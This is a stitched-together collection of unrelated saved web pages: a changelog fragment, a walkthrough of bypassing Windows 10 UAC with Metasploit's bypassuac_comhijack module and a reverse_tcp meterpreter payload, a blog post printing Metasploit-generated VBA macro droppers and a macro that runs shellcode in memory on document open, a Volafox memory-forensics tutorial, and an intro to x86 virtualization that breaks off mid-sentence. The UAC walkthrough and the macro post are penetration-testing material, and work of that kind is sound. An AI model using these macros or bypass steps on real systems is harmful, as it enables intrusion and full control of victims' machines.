    * Cleanups to various components to make them easier to use from PS
    
    1.0.5
    -----
    * Added additional Known SIDs
    * Unified the variant Get-NtToken* cmdlets into one.
    * Added additional token cmdlets such as Logon and Clipboard.
    * Added initial support for IO Completion Ports
    * Added object creation time property
    * Added support to set a process device map
    * Added top level CanSynchronize property to NtObject
    * Bugs fixes from Rustam Agametov
    * Made process list in token viewer a list rather than a tree and made a separate handle tab.
    1.0.4
    -----
    * Support getting and setting file EA buffe
    * Added cmdlet to get NTSTATUS code information
    * Support to toggle UIAccess and Virtualization flags on tokens
    * Added asynchronous support for file operations using Task APIs
    * Added support for virtual memory functions
    * Added cmdlet to create named pipes and mailslots.
    * Added support for specifying SD as SDDL directly to cmdlets.
    * Added thread descriptions for Anniversary edition and above.
    
    1.0.3
    -----
    * Fixed small bug in handling of IO_STATUS_BLOCK which could result in memory corruption.
    * Added support to list directory entries for a file directory.
    * Added support to do basic read and writes to a file.
    
    1.0.2
    -----
    * Added support to disable dynamic code policy on a process.
    * Added cmdlets for reparse points.
    * Fixes for EA buffer.
    * Added service SIDs.
    * Added support for removing token privileges.
    * Fixed token security attribute parsing.
    
    v1.0.1
    ------
    * Replaced all unmanaged code with a managed library.
    * Added NtObjectManager Powershell Module
    
    v1.0.0
    ------
    * Initial Release
[/code]

  

# Bypass UAC in Windows 10 using bypass\_comhijack Exploit

**Created:**| _9/4/2017 9:43:07 AM_  
---|---  
**Updated:**| _9/4/2017 9:43:07 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Bypass UAC in Windows 10 using bypass\_comhijack Exploit

posted inKali Linux, Penetration Testing on August 12, 2017 by  Raj Chandel

 SHARE

In this article we are going to bypass User Access Control \(UAC\) in targeted
system. It is the post exploitation; hence attacker must exploit target system
at first then escalate UAC Protection Bypass via **COM Handler Hijack**.

**Let’s start\!\!**

******Attacker:** Kali Linux

**Target:** window 10

Firstly exploit the target to receive meterpreter session of victim’s system.
Once you get the meterpreter session 1 then type following command to check
system authority and privileges.

**getuid**

**getprivs**

**** From given image you can perceive that attacker is inside the meterpreter
shell of victim’s system but don’t have system/admin authorities and
privileges. Hence here we need to bypass UAC Protection of targeted system.

To perform this attack you need to manually add **bypass\_comhijack** exploit
inside metasploit framework.

<img src='img/1660_1.png' width='589' height='253' />

Copy the entire content of “bypass\_comhijack” from **here** and past it in a
text document, now save as **bypass\_comhijack.rb** inside the following path:

**usr >share>metasploit\_framework>modules>exploit>windows>local**

**** From given image you can observe **bypass\_comhijack.rb** exploit has
been saved, as attacker has his meterpreter session therefore now he can use
this exploit in order to bypass UAC protection.

<img src='img/1659_2.png' width='743' height='433' />

This module will bypass Windows UAC by creating COM handler registry entries
in the HKCU hive. When certain high integrity processes are loaded, these
registry entire are referenced resulting in the process loading user-
controlled DLLs. These DLLs contain the payloads that result in elevated
sessions. Registry key modifications are cleaned up after payload invocation.

**use exploit/windows/local/bypassuac\_comhijack**

**Msf exploit \( bypassuac\_comhijack\) > set payload
window/x64/meterpreter/reverse\_tcp**

**Msf exploit \( bypassuac\_comhijack\) > set session 2 **

**Msf exploit \( bypassuac\_comhijack\) > set lhost 192.168.0.20**

**Msf exploit \(bypassuac\_comhijack\) > exploit **

From given image you can observe that meterpreter **session 3** opened, now
type following command to determine system authority privileges.

**getsystem**

**getprivs**

******Wonderful\!\!** Attacker got system/admin authorities and privileges.

<img src='img/1658_3.png' width='804' height='569' />

**Author** : AArti Singh is a Researcher and Technical Writer at Hacking
Articles an Information Security Consultant Social Media Lover and Gadgets.
Contact**here**

### ABOUT THE AUTHOR

<img src='img/a8379953e2e8ae3c18bafcf23aa02ca0.jpg' width='226' height='226'
alt='Raj Chandel' />

#### Raj Chandel

Raj Chandel is a Skilled and Passionate IT Professional especially in IT-
Hacking Industry. At present other than his name he can also be called as An
Ethical Hacker, A Cyber Security Expert, A Penetration Tester. With years of
quality Experience in IT and software industry

#### PREVIOUS POST

← Hack the DonkeyDocker \(CTF Challenge\)

#### NEXT POST

Hack the Moria: 1.1 \(CTF Challenge\) →

### Leave a Reply

  

# Direct shellcode execution in MS Office macros « Thoughts on Security

**Created:**| _1/31/2012 7:43:20 PM_  
---|---  
**Updated:**| _1/31/2012 7:45:12 PM_  
**Author:**| __  
**Tags:**| _shellcode Malware-analysis office_  
  

## Direct shellcode execution in MS Office macros

  

Metasploit has for years supported encoding payloads into VBA code. \(VBA, or
Visual Basic for Applications, is the language that Microsoft Office macros
are written in.\) Macros are great for pentesters, since they don’t rely on a
specific version, and they are a supported method of code execution that most
people don’t realize and are likely to allow. In the latest version of office,
all a user has to do is to click one button, and they’ll be owned:  

<img src='img/Temp2_2286.png' width='602' height='307' alt='The one button you
have to click to permanently enable macros for a document.' />

Office 2010's button of death

The Metasploit generated macro code looks like this:

[code]

    Sub Auto_Open()
    	Hkmyg12
    End Sub
    Sub Hkmyg12()
    	Dim Hkmyg7 As Integer
    	Dim Hkmyg1 As String
    	Dim Hkmyg2 As String
    	Dim Hkmyg3 As Integer
    	Dim Hkmyg4 As Paragraph
    	Dim Hkmyg8 As Integer
    	Dim Hkmyg9 As Boolean
    	Dim Hkmyg5 As Integer
    	Dim Hkmyg11 As String
    	Dim Hkmyg6 As Byte
    	Dim Euilajldnk as String
    	Euilajldnk = "Euilajldnk"
    	Hkmyg1 = "MaqXqyxUGh.exe"
    	Hkmyg2 = Environ("USERPROFILE")
    	ChDrive (Hkmyg2)
    	ChDir (Hkmyg2)
    	Hkmyg3 = FreeFile()
    	Open Hkmyg1 For Binary As Hkmyg3
    	For Each Hkmyg4 in ActiveDocument.Paragraphs
    		DoEvents
    			Hkmyg11 = Hkmyg4.Range.Text
    		If (Hkmyg9 = True) Then
    			Hkmyg8 = 1
    			While (Hkmyg8 < Len(Hkmyg11))
    				Hkmyg6 = Mid(Hkmyg11,Hkmyg8,4)
    				Put #Hkmyg3, , Hkmyg6
    				Hkmyg8 = Hkmyg8 + 4
    			Wend
    		ElseIf (InStr(1,Hkmyg11,Euilajldnk) > 0 And Len(Hkmyg11) > 0) Then
    			Hkmyg9 = True
    		End If
    	Next
    	Close #Hkmyg3
    	Hkmyg13(Hkmyg1)
    End Sub
    Sub Hkmyg13(Hkmyg10 As String)
    	Dim Hkmyg7 As Integer
    	Dim Hkmyg2 As String
    	Hkmyg2 = Environ("USERPROFILE")
    	ChDrive (Hkmyg2)
    	ChDir (Hkmyg2)
    	Hkmyg7 = Shell(Hkmyg10, vbHide)
    End Sub
    Sub AutoOpen()
    	Auto_Open
    End Sub
    Sub Workbook_Open()
    	Auto_Open
    End Sub
    
[/code]

The main body of the code relies on finding a long string of hex bytes, such
as `Euilajldnk  
&H4D&H5A&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00...` in the main document
body, which is then decoded to binary, and written out to an exe file in the
%USERPROFILE% directory. The macro then starts the executable with the Shell
function.

This approach has some advantages, such as that the shell will not die when
the program is closed, but it not ideal for a number of reasons. Dropping and
starting an executable is a big chance to trigger AV, create a suspicious file
and process, and possibly leave more logs to clean up. This code requires a
large block of suspicious text be placed in the body of the document, where it
might be noticed by the user.

So I wrote a different method, using imported Windows API functions to execute
the shellcode directly from memory. I import the VirtualAlloc, RtlMoveMemory,
and CreateThread functions from kernel32.dll and directly execute shellcode in
a new thread. With this approach, the data is much smaller, since we only
include the shellcode itself, not an entire executable, and doesn’t require
data inserted in the document itself. We do not execute a new process or
create a new executable. The code will look like this \(with usage\):

[code]

    msf > use payload/windows/exec
    msf  payload(exec) > set CMD calc
    CMD => calc
    msf  payload(exec) > set EXITFUNC thread
    EXITFUNC => thread
    msf  payload(exec) > generate -t vba
    #If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
    #Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
    #EndIf
    
    Sub Auto_Open()
            Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
    #If Vba7 Then
            Dim  Xlbufvetp As LongPtr
    #Else
            Dim  Xlbufvetp As Long
    #EndIf
            Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
    139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
    13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
    116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
    214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
    36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
    139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
    235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
    224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
    187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
            Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
            For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                    Wyzayxya = Hyeyhafxp(Zolde)
                    Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
            Next Zolde
            Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
    End Sub
    Sub AutoOpen()
            Auto_Open
    End Sub
    Sub Workbook_Open()
            Auto_Open
    End Sub
    
[/code]

And after writing this, I realized that Didier Stephens has already done just
about the same thing here in 2008:
http://blog.didierstevens.com/2008/10/23/excel-exercises-in-style/

Oh well, anyway, now it ~~will soon be~~ is available to all of Metasploit
world. Here’s an example of a simple generated .xls calc.xls.

# OS X: "Mac OS X memory analysis with Volafox" - Computer Forensic Blog

**Created:**| _6/8/2011 1:47:25 PM_  
---|---  
**Updated:**| _6/8/2011 1:47:25 PM_  
**Author:**| __  
**Tags:**| _Memory forensics Mac-hacking_  
  

### Mac OS X memory analysis with Volafox

Kyeong-Sik Lee and the Korean Digital Forensic Research Center have released
Volafox, a free and open-source tool to analyze Mac OS X memory images.
Volafox is based on work by Matthieu Suiche \(paper and slides\) and the
Volatility memory analysis framework.

Volafox is written in pure Python and requires Python 2.5 or later. You simply
download and unzip the archive. The tool's usage is straight forward:

[code]

    $ python volafox.py
    Memory analyzer for OS X 0.5 - n0fate
    Contact: rapfer@gmail.com
    usage: python volafox.py -i MEMORY_IMAGE -s KERNEL_IMAGE -o INFORMATION
     
    -= CAUTION =-
    this program need to physical memory image, kernel image(mach_kernel)
    and it support to Intel x86 Architecture only :(
     
    INFORMATION:
    os_version       Dawin kernel detail version
    machine_info     Kernel version, cpu, memory information
    mount_info       Mount information
    kern_kext_info   Kernel KEXT(Kernel Extensions) information
    kext_info        KEXT(Kernel Extensions) information
    proc_info        Process list
    syscall_info     Kernel systemcall information
    
[/code]

The memory image needs to be in plain format. So, it can not process images
that were obtained by ATC-NY's Mac Memory Reader without further format
conversion. Having a Mach-o Address Space for this would be a nice addition.

While it should be possible to find the kernel in the memory dump, this has
not been implemented \(yet\) and Volafox requires a separate kernel image.

For starters, I suggest to go with the sample files that were provided by the
author: a memory image and the proper Mach kernel. Now let's find out about
the OS version first:

[code]

    $ python volafox.py -i MemoryImage.mem -s mach_kernel -o os_version
    Memory Image: MemoryImage.mem
    Kernel Image: mach_kernel
    Information: os_version
    Detail dawin kernel version: 10A432
    
[/code]

This command displays the `ProductBuildVersion` that you can also find in
`/System/Library/CoreServices/SystemVersion.plist`.

Here is some more information about the machine:

[code]

    $ python volafox.py -i MemoryImage.mem -s mach_kernel -o machine_info
    Memory Image: MemoryImage.mem
    Kernel Image: mach_kernel
    Information: machine_info
     
    -= Mac OS X Basic Information =-
    Major Version: 10
    Minor Version: 0
    Number of Physical CPUs: 2
    Size of memory in bytes: 536870912 bytes
    Size of physical memory: 536870912 bytes
    Number of physical CPUs now available: 2
    Max number of physical CPUs now possible: 2
    Number of logical CPUs now available: 2
    Max number of logical CPUs now possible: 2
    
[/code]

Volafox can traverse the list of mounted file systems:

[code]

    $ python volafox.py -i MemoryImage.mem -s mach_kernel -o mount_info
    Memory Image: MemoryImage.mem
    Kernel Image: mach_kernel
    Information: mount_info
     
    -= Mount List =-
    list entry      fstypename      mount on name   mount from name
    0304a290        hfs     /       /dev/disk0s2
    03049948        devfs   /dev    devfs
    03049000        autofs  /net    map -hosts
    0403d520        autofs  /home   map auto_home
    00000000        vmhgfs  /Volumes/VMware Shared Folders  .host:/
    
[/code]

OS X maintains a doubly-linked list of processes; the list head is reachable
via the `kernproc` symbol \(see Mattieu Suiche's paper\).

[code]

    $ python volafox.py -i MemoryImage.mem -s mach_kernel -o proc_info
    Memory Image: MemoryImage.mem
    Kernel Image: mach_kernel
    Information: proc_info
     
    -= process list =-
    list_entry_next pid     ppid    process name    username
    03290d20        0       0       kernel_task             
    03290a80        1       0       launchdask      n0fate  
    032902a0        2       1       launchctlk      root    
    032907e0        10      1       kextddask       root    
    03290540        11      1       DirectoryService        root    
    03290000        12      1       notifydask      root    
    0359bd20        13      1       diskarbitrationd        root    
    0359ba80        14      1       configdask      root    
    0359b7e0        15      1       syslogdask      root    
    0359b540        16      1       distnotedk      root    
    0359b000        17      1       mDNSResponder   _mdnsresponder  
    0359b2a0        19      1       securitydk      _mdnsresponder  
    03a5a7e0        24      1       ntpdhdask       _mdnsresponder  
    03bc7d20        26      1       usbmuxdask      _usbmuxd        
    03bc7a80        30      1       mdschdask       _mdnsresponder  
    03bc77e0        31      1       loginwindow     n0fate  
    03bc72a0        32      1       KernelEventAgent        _mdnsresponder  
    03bc7000        34      1       hiddhdask       _mdnsresponder  
    03bdaa80        35      1       fseventsdk      _mdnsresponder  
    03befd20        37      1       dynamic_pager   _mdnsresponder  
    03bef7e0        42      1       autofsdask      _mdnsresponder  
    03a5a2a0        53      1       taskgatedk      _usbmuxd        
    03bdad20        54      1       coreservicesd   root    
    03a5a540        55      1       WindowServer    root    
    03bda540        57      1       vmware-tools-dae        _mdnsresponder  
    03a5a000        74      1       airportdsk      _atsserver      
    03befa80        78      1       coreaudiod      _coreaudiod     
    03bda2a0        79      1       launchdask      n0fate  
    03bef000        83      79      Dockhdask       n0fate  
    03bc7540        84      79      SystemUIServer  n0fate  
    04166d20        85      79      Finderask       n0fate  
    03bef2a0        92      79      fontddask       n0fate  
    041667e0        95      79      pboardask       n0fate  
    04166000        96      79      quicklookd      n0fate  
    044ddd20        99      79      UserEventAgent  n0fate  
    044dd000        100     79      ServerScanner   n0fate  
    044fed20        105     79      AirPort Base Sta        n0fate  
    044dd7e0        106     79      vmware-tools-use        n0fate  
    044dd540        108     79      CCacheServer    n0fate  
    03bda000        110     79      TISwitcher      n0fate  
    0085e758        120     1       backupdask      n0fate
    
[/code]

A process can be selected by its PID in order to display a few more details:

[code]

    $ python volafox.py -i MemoryImage.mem -s mach_kernel -o proc_info -x 120
    Memory Image: MemoryImage.mem
    Kernel Image: mach_kernel
    Information: proc_info
    Dump PID: 120
     
    -= process: 120=-
    list_entry_next pid     ppid    process name            username
    0085e758        120     1       backupdask      n0fate
    task_ptr: 3bd81f4
    vm_map_t: 41b2520
    prev: 46145d8
    next: 461402c
    start: 100000000
    end: 7fffffe00000
    neutries: 3a
    entries_pageable: 1
    pmap_t: 3bf59f8
    page directory pointer: 3bf5828
    phys.address of dirbase: 4705c2400000000
    object to pde: 1
    ref count: 1
    nx_enabled: 2
    task_map: 0
    pm_cr3: 0
    pm_pdpt: 25c00000259
    pm_pml4: 127df00000000000
    
[/code]

Volafox also enumerates lists of kernel extensions and system calls. It will
raise a flag if a syscall appears to be hooked.

Posted by Andreas Schuster on June 7, 2011 04:00 PM | Perm

# Saferwall - Virtualization Internals Part 1 - Intro to Virtualization

**Created:**| _5/25/2018 10:41:38 AM_  
---|---  
**Updated:**| _5/25/2018 10:41:38 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Virtualization Internals Part 1 - Intro to Virtualization

<img src='img/Temp2_7206.png' width='50' height='50' /> Admin

February 9, 2018

The purpose of this series of articles is to explain how x86 virtualization
internally works. I find most of the information dispatched in acamedical work
and reserch papers, which is pretty hard to understand for beginners, I will
try to start from scratch and build knowledge as needed. This could be useful
for understanding how virtualization works, or writing your own hypervisor or
in other scenarios such as attacking hypervisors security.

  * Virtualization Internals Part 1 - Intro to Virtualization
  * Virtualization Internals Part 2 - VMWare and Full Virtualization using Binary Translation
  * Virtualization Internals Part 3 - Xen and Paravirtualization
  * Virtualization Internals Part 4 - KVM and Qemu
  * Virtualization Internals Part 5 - Virtualization with Intel VT-x

## What is Virtualization ?

In philosophy, virtual means `something that is not real`. In computing,
virtualization refers to the act of creating a virtual \(rather than actual\)
version of something, including hardware platforms, storage devices, and
network resources.

Virtualization is a broad concept, and there are different areas where we can
make use of virtualization, let's give some examples:

  * Process-level virtualzation: The main idea behind this form of virtualization is to achieve portability among different platforms. It consists of an application implemented on top of an OS like Java Virtual Machine. Programs which runs on such a VM are writen in high level language which will be compiled into an intermediate instructions which will be interepred during runtime. There is also another form of virtualization which I would like to place in here called `code vitualization`. This was the first type of virtualization which I ever encountered while doing reverse engineering. Code virtualization aims for protection against code tampering and cracking. It consists of converting your original code \(for example x86 instructions\) into virtual opcodes that will only be understood by an internal virtual machine. 
  * Storage Virtualization: consists of presenting a logical view of physical storage resources to a host computer, so the user can pull the data from the integrated storage resources regardless how data is stored or where. It can be implemented at the host level using LVM \(for instance in Linux\), or at the device level using RAID, or at the network level with SAN for example.
  * Network Virtualization: Integrate network hardware resources with software resources to provide users with virtualization technology of virtual network connection. It can be divided into VLAN and VPN.
  * Operating system-level virtualization: also known as `containerization`, refers to an OS feature in which the kernel allows the existence of multiple isolated user-space instances. These instances have a limited view of resources such as connected devices, files or folders, network shares, etc. One example of containerization software is docker. In linux, docker takes advantages of the kernel features such as namespaces and cgroupes to provide isolated environment for applications.
  * System Virtualization: It refers to the creation of a virtual machine that acts like a real computer with an operating system. For example, a computer that is running Windows 10 may host a virtual machine which runs Ubuntu, both running at the same time. Pretty cool, nah ? This type of virtuaization is what we would be discussing in detail during this article series. Here is a screen shot of Linux Kubuntu running on Windows 7 with VirtualBox.

<img src='img/VirtualBox_screenshot.png' width='600px' height='auto'
alt='Virtualization Vs Non-Virtualization' />

All in all, virtualization provides a simple and consistent interface to
complexe functions. Indeed, there is little or no need to understand the
underlying complexity itself, just remember that virtualization is all about
abstraction.

## Why virtualize ?

The usage of this technology brings so many benefits. Let's illustrate that
with a real life example. Usually a company use multiple tools:

  * an issue tracking and project management software like `jira`.
  * a version control repository for code like `gitlab`.
  * a continous intergration software like `jenkins`.
  * a mail server for their emails like `MS exchange server`.
  * …

Without virtualization, you would probably need multiple servers to host all
these services, as some of them would requires Windows as a host, others would
need Linux as their base OS. With virtalization, you can use one single server
to host multiple virtual machine at the same time, which each runs on a
different OS \(like OSX, Linux, and Windows\), this design allow servers to be
consolidated into a single physical machine.

In addition to that, if the there is a failure on one of them, it does not
bring down any others. Thus, this approach encourages easy maintainability and
cost saving to enterprises. On top of that, separating those services in
different VMs is considered as a security feature as it supports strong
isolation, which means if an attacker gains control to one of the servers, he
does not have access to everything.

One more advantage, with virtualization you can easily adjust hardware
resources according to your needs. For instance, if you host a web application
in a VM, and your website have a huge number of requests during a certain
period of the day that it becomes difficult to handle the load, in such cases,
you do not need to open the server and plug-in manually some more RAM or CPU,
you can instead easily scale it up by going to your VM configuration and
adjust it with more resources, you can even spawn a new VM to balance the
load, and let's say that if your website during the night have less traffic,
we would just scale it down by reducing the resources so other VMs in the
server make use of it. This approach allows resources to be managed
efficiently, rather than having a physical server with so many cores and RAM,
but idling most of the tim knowing that an idle server still consumes power
and resources\!

Vitrualization also helps a lot in software testing, it makes life easier for
a programmer who want to make sure his software is running flawlessly before
it gets deployed to production. When a programmer commit some new code, a VM
is created on the fly and a serie of tests runs, code get released only if all
tests passed.

Last but not least, a virtual machine can be migrated, meaning that it is easy
to move an entire machine from one server to another even with different
hardware. This helps for example when the hardware begins to experience faults
or when you got some maintance to do. It takes some mouse clicks to move all
your stack and configuration to another server with no downtime.

With that on mind, virtualization offers tremendous space/power/cost savings
to compagnies.

## A bit of History

It may suprise you that the concept of virtualization started with IBM
mainframes in the earlies of 1960s with the development of `CP/40`. IBM had
been selling computers that supported and heavily used virtualization. In
these early days of computing, virtualization softwares allowed multiple
users, each running their own single-user operating system instance, to share
the same costly mainframe hardware.

Virtual machines lost popularity with the increased sophistication of multi-
user OSs, the rapid drop in hardware cost, and the corresponding proliferation
of computers. By the 1980s, the industry had lost interest in virtualization
and new computer architectures developed in the 1980s and 1990s did not
include the necessary architectural support for virtualization.

The real revolution started in 1990 when VMware introduced its first
virtualization solution for x86. In its wake other products followed: `Xen`,
`KVM`, `VirtualBox`, `Hyper-V`, `Parallels`, and many others. Interest in
virtualization exploded in recent years and it is now a fondamental part of
cloud computing, cloud services like Windows Azure, Amazon Web Services and
Google Cloud Platform became actually a multi-billion $ market industry thanks
to virtualization.

## Introducing VMM/hypervisor

Before we go deeper into the details, let's define some few terms:

  * Hypervisor or VMM \(Virtual Machine Monitor\) is a peace of software which creates the illusion of multiple \(virtual\) machines on the same physical hardware. These two terms \(hypervisor and VMM\) are typically treated as synonyms, but according to some people, there is a slight distinction between them.
    * A virtual machine monitor \(VMM\) is a software that manages CPU, memory, I/O devices, interrupt, and the instruction set on a given virtualized environment.
    * A hypervisor may refer to an operating system with the VMM. In this article series, we consider these terms to have identical meanings to represent a software for virtual machine. 
  * Guest OS is the operating system which is running inside the virtual machine.

<img src='img/IxsQUYU.png' width='600px' height='auto' alt='Virtualization Vs
Non-Virtualization' />

## What does it take to create a hypervisor

To create a hypervisor, we need to make sure to boot a VM like real machines
and install arbitrary operating systems on them, just as can be done on the
real hardware. It is the task of the hypervisor to provide this illusion and
to do it efficiently. There is 3 areas of the system which needs to be
considered when writting hypervisors: 1\. CPU and memory virtualization
\(priviliged instructions, page tables\). 2\. Platform virtualization
\(interrupts, timers, …\). 3\. IO devices virtualization \(network, disk,
bios, …\).

In fact, two computer scientists `Gerald Popek` and `Robert Goldberg`,
published a seminal paper _Formal Requirements for Virtualizable Third
Generation Architectures_ that defines exactly what conditions needs to
satisfy in order to support virtualization efficiently, these requirements are
broken into three parts:

  * Fidelity: Programs running in a virtual environment run identically to running natively, barring differences in resource availability and timing.
  * Performance: An overwhelming majority of guest instructions are executed by the hardware without the intervention of the VMM.
  * Safety: The VMM manages all hardware resources.

Let's dissect those three characteristics: by `fidelity`, software on the VMM,
typically an OS and all its applications, should execute identically to how it
would on real hardware \(modulo timing effects\). So if you download an ISO of
Linux Debian, you should be able to boot it and play with all the applications
as you do in a real hardware.

For `performance` to be good, most instructions executed by the guest OS
should be run directly on the underlying physical hardware without the
intervention of the VMM. Emulators for example \(Like Bochs\) simulates all of
the underlying physical hardware like CPU and Memory, all represented using
data structures in the program, and instruction execution involves a dispatch
loop that calls appropriate procedures to update these data structures for
each instruction, the good thing about emulation is that you can emulate code
even if it is writen for a different CPU, the disadvantage is that it is
obviously slow. Thus, you cannot achieve good performance if are going to
emulate all the instruction set, in other words, only privileged instructions
should require the intervention of the VMM.

Finally, by `safety` it is important to protect data and resources on each
virtual environment from any threats or performance interference in sharing
physical resources. For example, if you assign a VM 1GB of RAM, the guest
should not be able to use more memory that what it is attributed to it. In
addition to that, the VMM should not allow the guest for example to disable
interrups for the entire machine or modify the page table mapping, otherwise,
the integrity of the hypervisor could be exploited and this could allow some
sort of arbitrary code execution on the host, or other guests running in the
same server, making the whole server vulnerable.

An early technique for virtualization was called `trap and emulate`, it was so
prevalent as to be considered the only practical method for virtualization. A
trap is basically a localized exception/fault which occurs when the guest OS
does not have the required privileges to run a particular instruction. The
`trap and emulate` approach simply means that the VMM will trap ANY privileged
instruction and emulates its behavior.

Although Popek and Goldberg did not rule out use of other techniques, some
confusion has resulted over the years from informally equating
`virtualizability` with the ability to use trap-and-emulate. To side-step this
confusion we shall use the term `classically virtualizable` to describe an
architecture that can be virtualized purely with trap-and-emulate. In this
sense, x86 was not classically virtualizable and we will see why, but it is
virtualizable by Popek and Goldberg’s criteria, using the techniques described
later.

## Challenges on Virtualizing x86

In this section, we will discuss some key points why x86 was not classically
virtualiazable \(using trap-and-emulate\), however, before we do so, I would
like to cover some low level concepts about the processor which are required
to understand the problems of x86.

In a nutshell, the x86 architecture supports 4 privilege levels, or rings,
with `ring 0` being the most privileged and `ring 3` the least. The OS kernel
and its device drivers run in ring 0, user applications run in ring 3, and
rings 1 and 2 are not typically used by the OS.

<img src='img/300px-Priv_rings.svg.png' width='300' height='216'
alt='Privilege rings for the x86 available in protected mode' />

Popek and Goldberg defined `privileged` instructions and `sensitive`
instructions. The sensitive ones includes instructions which controls the
hardware resource allocation like instructions which change the MMU settings.
In x86, example of sensitive instructions would be:

  * SGDT : Store GDT Register
  * SIDT : Store IDT Register
  * SLDT : Store LDT Register
  * SMSW : Store Machine Status

The sensitive instructions \(also called IOPL-sensitive\) may only be executed
when CPL \(Current Privilege Level\) <= IOPL \(I/O Privilege Level\).
Attempting to execute a sensitive instruction when CPL > IOPL will generate a
GP \(general protection\) exception.

Privileged instructions cause a trap if executed in user mode. In x86, example
of privileged instrucions:

  * WRMSR : Write MSR
  * CLTS : Clear TS flag in CR0
  * LGDT : Load GDT Register

The privileged instructions may only be executed when the Current Privilege
Level is zero \(CPL = 0\). Attempting to execute a privileged instruction when
CPL \!= 0 will generate a \#GP exception.

Here comes a very important aspect when it comes to memory protection in x86
processors. In `protected mode` \(the native mode of the CPU\), the x86
architecture supports the atypical combination of `segmentation` and `paging`
mechanisms, each programmed into the hardware via data structures stored in
memory. `Segmentation` provides a mechanism for isolating code, data, and
stack so that multiple programs can run on the same processor without
interfering with one another. `Paging` provides a mechanism for implementing a
conventional demand-paged, virtual-memory system where sections of a program's
execution environment are mapped into physical memory as needed. Paging can
also be used to provide isolation between multiple tasks. Keep in mind that
while `legacy` and `compatibility` modes have segmentation, x86-64 mode
segmentation is limited. We will get into this in the next chapter.

### Problem 1: Non-Privileged Sensitive Instructions

Popek and Goldberg demonstrated that a simple VMM based on trap-and-emulate
could be built only for architectures in which all virtualization-sensitive
instructions are also all privileged instructions. For architectures that meet
their criteria, a VMM simply runs virtual machine instructions in de-
privileged mode \(i.e., never in the most privileged mode\) and handles the
traps that result from the execution of privileged instructions. The table
below lists the instructions of the x86 architecture that unfortunately
violated Popek and Goldberg’s rule and hence made the x86 non-virtualizable.

<img src='img/edOPYzI.png' width='600px' height='auto' alt='List of Sensitive,
Unprivileged x86 Instructions' />

The first group of instructions manipulates the interrupt flag `%eflags.if`
when executed in a privileged mode `%cpl ≤ %eflags.iopl` but leave the flag
unchanged otherwise. Unfortunately, operating systems \(guest kernel\) used
these instructions to alter the interrupt state, and silently disregarding the
interrupt flag would prevent a VMM using a trap-and-emulate approach from
correctly tracking the interrupt state of the virtual machine.

The second group of instructions provides visibility into segment descriptors
in the GDT/LDT. For de-privileging and protection reasons, the VMM needs to
control the actual hardware segment descriptor tables. When running directly
in the virtual machine, these instructions would access the VMM’s tables
\(rather than the ones managed by guest OS\), thereby confusing the software.

The third group of instructions manipulates segment registers. This is
problematic since the privilege level of the processor is visible in the code
segment register. For example, `push %cs` copies the %cpl as the lower 2 bits
of the word pushed onto the stack. Software in a virtual machine \(guest
kernel\) that expected to run at %cpl=0 could have unexpected behavior if push
%cs were to be issued directly on the CPU. We refer to this problem as ring
aliasing.

The fourth group of instructions provides read-only access to privileged
state. For example, GDTR, IDTR, LDTR, and TR contain pointers to data
structures that control CPU operation. Software can execute the instructions
that write to, or load, these registers \(LGDT, LIDT, LLDT, and LTR\) only at
privilege level 0. However, software can execute the instructions that read,
or store, from these registers \(SGDT, SIDT, SLDT, and STR\) at any privilege
level. If executed directly, such instructions return the address of the VMM
structures, and not those specified by the virtual machine’s operating system.
If the VMM maintains these registers with unexpected values, a guest OS could
determine that it does not have full control of the CPU.

### Problem 2: Ring Compression

Another problemathic which arises when de-privilege the guest OS is `ring
compression`. To provide isolation among virtual machines, the VMM runs in
ring 0 and the virtual machines run either in ring 1 \(the 0/1/3 model\) or
ring 3 \(the 0/3/3 model\). While the 0/1/3 model is simpler, it can not be
used when running in 64 bit mode on a CPU that supports the 64 bit extensions
to the x86 architecture \(AMD64 and EM64T\). To protect the VMM from guest
OSes, either `paging` or `segment limits` can be used. However, segment limits
are not supported in 64 bit mode and paging on the x86 does not distinguish
between rings 0, 1, and 2. This results in ring compression, where a guest OS
must run in ring 3, unprotected from user applications.

### Problem 3: Address Space Compression

Operating systems expect to have access to the processor’s full virtual
address space, known as the linear-address space in IA-32. A VMM must reserve
for itself some portion of the guest’s virtual-address space. The VMM could
